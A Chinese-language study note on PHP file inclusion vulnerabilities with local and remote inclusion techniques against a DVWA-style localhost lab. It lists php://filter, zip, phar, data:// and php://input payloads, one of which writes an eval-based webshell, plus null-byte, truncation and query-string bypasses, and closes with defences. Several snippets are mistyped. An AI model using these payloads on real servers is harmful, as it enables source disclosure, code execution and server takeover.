文件包含漏洞
一、概述
什么是文件包含?
在前端代码中会会有许多重复的元素,比如说菜单栏,logo,底部联系方式等,为了避免代码冗余,开发者会单独写一个页面来保存他们,用其他页面通过 include
去调用
漏洞产生原因
文件包含加载参数没有经过过滤或者严格定义,可以被用户定制,包含其他恶意代码
例如
<?php
$filename = $_Get["filename"];
include($filename); //调用
?>
//这里可以用 /XXX/XXX/?filename=phpinfo() 来改变调用的参数
//要对 filename 参数进行过滤才行
PHP文件包含函数
require 组
require
:函数出现错误时,会直接报错并退出程序运行。
require_on
e:出错时直接退出;且仅包含一次。在脚本执行期间同一个文件被多次引用确保只包含一次以避免函数重新定义、变量重新赋值等问题。
include 组
include:函数出现错误时,会抛出一个警告,并且程序继续运行
include_one:函数出现错误时,会抛出一个警告,且仅包含一次
二、漏洞类型及应用
1、本地包含漏洞
包含系统文件
包含上传文件
本地文件包含配合日志文件
1.在 URL 中输入 payload,Apache 会存入 log 日志文件中,不过URL 会改变 payload
2.需要用 BP 拦截包,修改 payload
3.用 URL 访问日志文件就可以执行 payload
利用 file 协议
用来显示文件
http://localhost:81/vulnerabilities/fi/?page=file:XXX
1.利用php://filter协议
主要用来查看源代码。直接包含 php文件时会被解析,不能看到源代码,故使用php://filter读取
http://localhost:81/vulnerabilities/fi/?page=php://filter:convert.base64-encode/resource=XXX.php
//convert.base64-encode 用base64 进行编码
//resource 想要被读入的文件
把输出的base64加密文件解密就能得到原代码
2.利用zip://
,bzip://
,zlib://
协议
属于压缩流,可以访问压缩文件中的子文件;
格式 zip://[压缩文件绝对路径]#[压缩文件内的文件名]
http://localhost:81/vulnerabilities/fi/?page=zip:// XX/XX/XX/phpinfo.zip %23 phpinfo.txt
3.利用 phar://协议
也是压缩流,不过可以用相对路径
格式 phar://[压缩文件绝对/相对路径]#[压缩文件内的文件名]
2、远程包含漏洞
前提两个参数要开启
allow_url_fopen on
allow_url_include on
1.利用 http:// 协议远程访问
2.利用 php://input 协议
主要用来接收post 数据,将 post 请求中的数据作为php 代码来执行
http://localhost:81/vulnerabilities/fi/?page= php://input <?php fputs(fopen"shell.php","w"),"<?php eval(\$_POST['xxxser']);?>"?>
3.利用 data://协议
将原本 include 的文件流重定向到了用户可控制的输入流中。
http://localhost:81/vulnerabilities/fi/?page= data://text/plain,<?php phpinfo();
http://localhost:81/vulnerabilities/fi/?page= data://text/plain,base64,(编码后信息)
3、文件包含漏洞绕过方式
1.本地文件包含漏洞绕过方式
<?php include("inc/".$_GET['file'].".htm") //添加后缀让 payload 失效
1)%00截断:
条件magic_quotes_gpc = Off
,php版本<5.3.4
?page= ../../../../phpinfo.info%00
2) %00截断目录遍历:
条件:magic_quotes_gpc = Off
,unix 文件系统
?page= ../../../../var/www%00
3)路径长度截断:目录下超过一定长度的字节,超出的部分就会被丢弃
?page= ../../../../phpinfo.info././././././././././././././././
4)点号截断
?page= ../../../../phpinfo.info............................................................
2.远程文件包含绕过方式
<?php
$basePath = $_GET['path'];
require_once $basePath."/action/m_share.php"; //添加后缀让 payload 失效
?>
通过添加?
绕过
http://localhost:81/vulnerabilities/fi/?page= http://localhost/shell.php?
//实际执行,将/action/m_share.php当作查询字符串
http://localhost:81/vulnerabilities/fi/?page= http://localhost/shell.php?/action/m_share.php
其他绕过
http://localhost:81/vulnerabilities/fi/?page= http://localhost/shell.php%23
http://localhost:81/vulnerabilities/fi/?page= http://localhost/shell.php?%20
三、漏洞危害和防御
危害
- 获取敏感信息
- 执行任一命令
- 获取服务器权限
防御
- 尽量不要使用动态包含,无需要情况下设置allow_url_fopen,allow_url_include为关闭状态
- 对可以包含的文件进行限制:使用白名单的方式,或者设置包含目录
- 严格检查用户输入,参数中不允许出现…/这类的目录跳转符
- 严格检查变量是否初始化
- 不要仅仅在客户端做数据验证和过滤,关键的过滤步骤要在服务端进行